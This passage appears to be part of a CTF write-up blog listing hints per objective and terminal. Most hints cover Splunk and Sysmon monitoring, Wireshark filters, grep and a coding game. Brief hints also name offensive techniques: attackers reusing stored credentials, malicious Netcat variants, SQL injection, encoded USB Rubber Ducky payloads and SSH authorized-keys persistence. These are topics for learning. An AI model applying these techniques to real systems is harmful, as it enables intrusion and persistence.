  • Stored Credentials - Administrators often store credentials in scripts. These can be coopted by an attacker for other purposes!
  • Active Directory Interrogation - Investigating Active Directory errors is harder without Bloodhound, but there are native methods.
Objective 9
  • GitHub Monitoring in Splunk - Between GitHub audit log and webhook event recording, you can monitor all activity in a repository, including common git commands such as git add, git status, and git commit.
  • Sysmon Monitoring in Splunk - Sysmon network events don’t reveal the process parent ID for example. Fortunately, we can pivot with a query to investigate process creation events once you get a process ID.
  • Malicious NetCat?? - Did you know there are multiple versions of the Netcat command that can be used maliciously? nc.openbsd, for example.
Objective 10
Objective 11
  • Evil Bit RFC - RFC3514 defines the usage of the “Evil Bit” in IPv4 headers.
  • Wireshark Display Filters - Different from BPF capture filters, Wireshark’s display filters can find text with the contains keyword - and evil bits with ip.flags.rb.
Objective 12
  • SQL Injection with Source - When you have the source code, API documentation becomes tremendously valuable.
Objective 13
  • FPGA for Fun - There are FPGA enthusiast sites.
  • FPGA Talk - Prof. Qwerty Petabyte is giving a lesson about Field Programmable Gate Arrays (FPGAs).
Terminal 2
  • Grep Cheat Sheet - Check this out if you need a grep refresher.
Terminal 3
  • Boolean Logic - There are lots of special symbols for logic and set notation. This one covers AND, NOT, and OR at the bottom.
  • AND, OR, NOT, XOR - This might be a handy reference too.
Terminal 4
  • IPv6 Reference - Check out this Github Gist with common tools used in an IPv6 context.
Terminal 5
  • Ducky Script - Ducky Script is the language for the USB Rubber Ducky
  • Duck Encoder - Attackers can encode Ducky Script using a duck encoder for delivery as inject.bin.
  • Ducky RE with Mallard - It’s also possible the reverse engineer encoded Ducky Script using Mallard.
  • Mitre ATT&CK‚ĄĘ and Ducky - The MITRE ATT&CK‚ĄĘ tactic T1098.004 describes SSH persistence techniques through authorized keys files.
Terminal 10
  • Lever Requirements - Not sure what a lever requires? Click it in the Current Level Objectives panel.
  • Moving the Elf - You can move the elf with commands like elf.moveLeft(5), elf.moveTo({"x":2,"y":2}), or elf.moveTo(lever0.position).
  • Bumping into Walls - Looping through long movements? Don’t be afraid to moveUp(99) or whatever. You elf will stop at any obstacle.
  • Function Calls - You can call functions like myFunction(). If you ever need to pass a function to a munchkin, you can use myFunction without the ().
Terminal 12a
Terminal 12b
Share on

Avatar
WRITTEN BY
noobintheshell
AppSec Engineer and CTFer